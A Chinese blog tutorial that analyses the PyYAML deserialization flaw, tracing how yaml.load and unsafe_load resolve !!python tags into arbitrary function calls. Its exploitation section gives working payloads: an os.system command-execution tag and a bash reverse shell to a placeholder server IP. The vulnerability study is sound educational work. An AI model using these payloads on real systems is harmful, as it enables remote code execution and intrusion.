内容纲要

前言

上一篇文章谈了 Python Pickle/CPickle 反序列化漏洞的原理并做了基本的复现 , 这里我们来看一看 Python 另一个经典的反序列化漏洞 ------ Python PyYAML 反序列化漏洞 .


复现环境( 条件 )

这个反序列化漏洞的原理比较简单 , 所以我猜测大多数看到这篇文章的师傅都是在复现时出了问题 : 该反序列化漏洞无法复现成功 . 因此我在这里先说一下原因 .

Python PyYAML 反序列化漏洞的复现条件为 :

     yaml.load() : Python PyYAML 库版本 < 5.1b1

     yaml.unsafe_load() : Python PyYAML 库版本 >= 5.1b1

我们通过 PIP 可以安装以下几个版本的 PyYAML 库( Aliyun Mirrors )

  • 我们先安装 pyyaml==4.2b4 这个版本

    然后运行 test_poc2.py( 看不懂没事 , 我后面会详细分析 )

    成功执行了 /usr/bin/id 命令 !

  • 先卸载 pyyaml==4.2b4 这个版本 , 然后安装 pyyaml==5.1b1 这个版本

    然后再次运行 test_poc2.py

    可以看到 , 运行 test_poc2.py 时显示了警告信息 , 并且由于 test_poc1 模块未被导入 , 从而导致 test_poc2.py 中反序列化过程不成功 .

通过对其它版本的测试 , 可以确定当 Python PyYAML 模块版本小于 5.1b1 时 , yaml.load() 函数反序列化漏洞可以复现成功 .

其实 , 在 PyYAMLGithub Wiki 中已经提到了这个点, 只不过不太好找 .

作者还举了一个 POC 作为例子 . 真是贴心哈~ 虽然这里提到的是 you will get a warning, but the function will still work. , 但是实际上在 5.1b1 及以后的版本 , yaml.load() 函数已经无法导入其他模块了 . 因此也就没有了利用价值 .

那么能否在 Python PyYAML>= 5.1b1 的情况下复现该反序列化漏洞呢 ? 当然是可以的 , 官方给出了三个替代 yaml.load() 函数的函数 .

我们将 yaml.load() 函数修改为 yaml.unsafe_load() 函数 , 即可成功复现漏洞 !

成功复现反序列化漏洞 ! 上文的解释应该是非常详尽了 .


Python PyYAML 反序列化漏洞

现在我们正式开始看这个反序列化漏洞 . 在了解 PyYAML 反序列化漏洞之前 , 我们需要知道什么是 YAML , 进而了解 PyYAML 的性质 , 循序渐进 .


YAML 介绍

YAML 是一种人类可读的数据序列化语言 , 非常方便读写 . 它通常用于配置文件 , 但也用于数据存储( 例如调试输出 )或传输( 例如文档标题 ) . 类似于 Json 格式和 XML 格式 . 但是 YAML 有着自己特别的语法,可以简单的表示一些常见的数据结构,因此功能和可读性远比另外两种格式强大 .

百度百科 上的解释非常有意思 : 在定义这门语言时 , YAML 被定义为 YAML Ain't a Markup Language( YAML不是一种标记语言 ) , 而在开发这门语言时 , YAML 被定义为 Yet Another Markup Language( YAML 仍是一门标记语言 ) . 这是为了强调 YAML 虽然是一门标记语言 , 但是它是以 " 数据 " 作为中心 , 而不是以 " 标记 " 作为中心 . 这种反向强调的定义方式 , 能让使用者印象更加深刻 .

YAML 的基本语法规则如下所示 :

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进时不允许使用Tab键 , 只允许使用空格
  • 缩进的空格数目不重要 , 只要相同层级的元素左侧对齐即可
  • 使用 # 号来表示注释

YAML 支持的三种数据结构如下所示

  • 对象:键值对的集合 , 又称为映射( mapping ) / 哈希( hashes ) / 字典( dictionary )
  • 数组:一组按次序排列的值 , 又称为序列( sequence ) / 列表( list )
  • 纯量:单个的、不可再分的值 , 又称为标量( scalars )

YAML 纯量( Scalars )支持的七种基本数据类型如下所示

  • 字符串( String )
  • 整型( Integer )
  • 浮点型( Float )
  • 布尔型( Boolean )
  • 空值( Null )
  • 时间型( Time )
  • 日期型( Date )

从上面的内容我们不难看出 , YAML 在设计时参考了多门编程语言的语法规则 . 这里重点来看 YAML 支持的三种数据结构 , 下面来逐一说明 .


对象 / 映射 / 哈希 / 字典

这里最好的解释应该是 " 字典 " 了 , 毕竟 Python 大家都会 . 你可以把 YAML 里的对象理解为 Python 中的 " 字典( dict ) " . 比如下面这个例子 .

     person: { name: Epicccal , age: 21  }

数组 / 序列 / 列表

同样 , 这里把它看作是 Python 中的 " 列表( list ) " 就可以了 . YAML 中一个列表由一组连词线开头的行组成 . 下面举个例子 .

     - QWE
     - ASD
     - ZXC

上述这个数组在 Python 中用可以用列表表示

     ["QWE" , "ASD" , "ZXC"]

数组通常与对象搭配成复合结构使用 , 如下所示

     - QWE: qwe
       ASD: asd
     - RTY: ert
       FGH: fgh

转换成 Python 列表后如下所示

     [ {"QWE": "qwe" , "ASD": "asd"} , {"RTY": "rty" , "FGH": "fgh"} ]

纯量 / 标量

这里主要谈一下标量的几个特性 .

  • 字符串可以用 单引号 , 双引号包围 , 也可以不用引号包围

     当字符串中不包含空格或者特殊字符时 , 可以不加引号 . 如果字符串中包含空格或特殊字符 , 就要使用引号 . 但需要注意 , 单引号会对特殊字符转义 , 双引号不会对特殊字符转义 .
  • YAML 允许使用感叹号( ! )来强制转换数据类型 .

     单个感叹号( ! )通常用于强制转换为自定义类型 , 而两个感叹号( !! )通常用于强制转换为内置类型 . 举个例子 :
    
     string: !!str 3.1415926
     int: !!int "123456"
    
     转换成 Python 字典后如下所示 : 
    
     {"string" : "3.1415926" , "int" : 123456}

Python PyYAML 模块

这里以 Python PyYAML 4.2b4 为例

Python PyYAML 模块主要有两个核心函数 , 分别为 yaml.dump()函数 和 yaml.load()函数.

  • yaml.dump() 函数

    该函数的作用是将一个 Python 对象转换为 YAML 文档, 比如下面这个例子中将一个 Python 复合列表转换为 YAML 数据流 .

    其中 , !!python/object 为 PyYAML 对 python 类对象的强制转换标签 . __main__ 指当前文件名 , 这里是指本文件 . User2 是指序列化的对象类型 , 大括号{ } 中的内容是该对象的属性及属性值 .

  • yaml.load() 函数

    该函数的作用是将一个 YAML 数据流( 文档 )还原为一个 Python 对象 , 如下所示 .

    yaml.load() 函数会读取序列化字符串 , 根据序列化字符串的标签来调用相应的方法执行反序列化操作 .

和反序列化漏洞有关的主要就是这两个函数 . 如果您还想知道更多有关 Python PyYAML 模块的内容( 比如 构造器(constructors) , 表示器(representers) , 解析器(resolvers ) ) , 可以参考 这篇文章


Python PyYAML 反序列化漏洞分析

这个反序列化漏洞是如何产生的呢 ? 这又要谈到 YAML 本身的性质了 .

从上文我们知道 YAML 有三大基本数据类型( 对象 , 数组 , 纯量 ) , 但除了这些基本的数据类型外,每门语言的 YAML 解析器都会针对其语言实现一套 特殊的对象转化规则 .

啥意思呢? 以 Ruby 这门语言为例 , 如果我们想要转换其中的 User 类为序列化字符串 , 那么序列化字符串的标签是 "!!ruby/object:User" , 这个标签肯定无法直接拿到 Python 环境中使用 . 这就是 YAML 针对 Ruby 语言的特殊转换规则 .

YAML 针对 Python 也有一套独特的对象转换规则 , 详细的内容可以可以参考 %PYTHON-HOME%/lib/python3.7/dist-packages/yaml/constructor.py 文件的末尾 , 这里我们重点来看红框中的三个特殊标签 .

来看一看这三个标签对应的转换规则是怎样的 .

  • construct_python_object()

  • construct_python_object_apply()

  • construct_python_object_new()

不难发现 , 三个函数都直接或者间接调用了 self.make_python_instance() 这个函数 , 我们追踪该函数 .

可以看到该函数又调用了 self.find_python_name() 函数 , 并将返回的结果赋值给 cls 参数 . 之后又将参数 cls 的值作为函数名 , 调用该函数并将执行结果返回 .

问题出现了 , 其实这种将返回值作为函数名并调用该函数的编程结构是非常危险的 ! ( 可以参考 PHP 中的动态执行函数 ) , 如果用户能控制被调用函数的函数名及参数 , 那么就可以执行任何想要执行的函数 .

那么这里是否存在这种可能呢? 我们继续追踪 find_python_name() 函数 , 来看一看该函数的逻辑 .

代码逻辑非常清楚 . 假设我们传入的name参数是 os.system() , 那么它会先将 os 模块导入 , 导入后再判断 os 模块中是否存在指定的对象( system() ) , 如果该对象存在就将该对象返回 .

当函数返回了以后 , Python 会动态调用该函数 . 后面的内容就不用多解释了 , 用户输入的恶意指令会被拼接到动态调用的函数中 , 这里参数和被调用的函数都是用户可控的 , 因此用户可以执行任意代码 . 这里举个例子


Python PyYAML 反序列化漏洞利用

现在原理弄清楚了 , 我们应该要思考如何利用了 .

  1. 最基本的条件 . 首先要让 PyYAML 能够解析序列化字符串 , 所以要使用 !!python 这个标签( !!python/object , !!python/object/apply , !!python/object/new都可以 )

  2. 反序列化的过程实际上是类实例化的过程 . 只有被实例化的类中包含函数 , 且函数中包含我们的恶意代码时 , 我们的恶意代码才有可能被调用执行

  3. 普通数据类型( 字符串 , 列表 , 元组 , 字典 )的反序列化过程是纯量初始化 , 赋值的过程,不会涉及到负责逻辑处理的代码块,也就不会有代码被调用执行 .

  4. 因此 , 我们需要导入一个类 , 这个类存在一个包含恶意代码的函数 , 且该函数会被自动调用 . 我们将这个类序列化为字符串 , 再把这个字符串提交给 PyYAML 解析执行 .

因此 , 大致的 Payload如下所示 :

!!python/object:自定义的模块.自定义的类 {}

举个例子

这里我们利用了 __init__() 方法 , 该方法为类的初始化方法 , 会被自动调用 . 我们对该类进行序列化 , 就可以得到一个序列化字符串 .

但这个序列化字符串不能马上利用 , 我们要让 PyYAML 解析 test_poc1 模块中的 Test 类 , 因此需要修改序列化字符串为 : !!python/object:test_poc1.Test {} , 将反序列化的目标指向test_poc1.Test

最后让 yaml.load() 读取这个序列化字符串 , PyYAML 会解析到 test_poc1 中的 Test 类 , 然后调用该类对象的 __init__() 方法 , 最后执行到我们的恶意命令 .

!!python/object/apply , !!python/object/new 两个标签都可以成功执行恶意代码 .

但是这样的利用方式还存在很大的局限性 , 比如如何找到要利用的模块 . 正常情况下我们是看不到源码的 . 不过别忘了 , Python标准库中还有很多类和函数可供我们使用 . 就比如 os.system . 举一个例子 :

Payload : !!python/object/apply:os.system [/usr/bin/id]

函数调用状况如下所示( PDB )

通过利用 Python 标准库的类和函数 , 我们可以在不指定自定义模块的情况下执行任意代码 . 再举一个反弹Shell的例子

Payload : !!python/object/apply:os.system [bash -i >& /dev/tcp/Your Server Ip/2333 0>&1]

成功反弹Shell !

需要注意的一点是 , 如果想使用这些通用的 Payload , 就不能使用 !!python/object 标签了 , 原因很简单 , 还是看代码 .

!!python/object 标签不能接收列表作为参数 , 且无法接收 args 参数 . 因此该标签无法接收用户输入的信息 , 所以无法执行代码 .


总结

本章主要是说明了 Python PyYAML 反序列化漏洞的原因 , 并且做了复现 . 感觉还是比较简单的 .

Please follow and like us:
最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。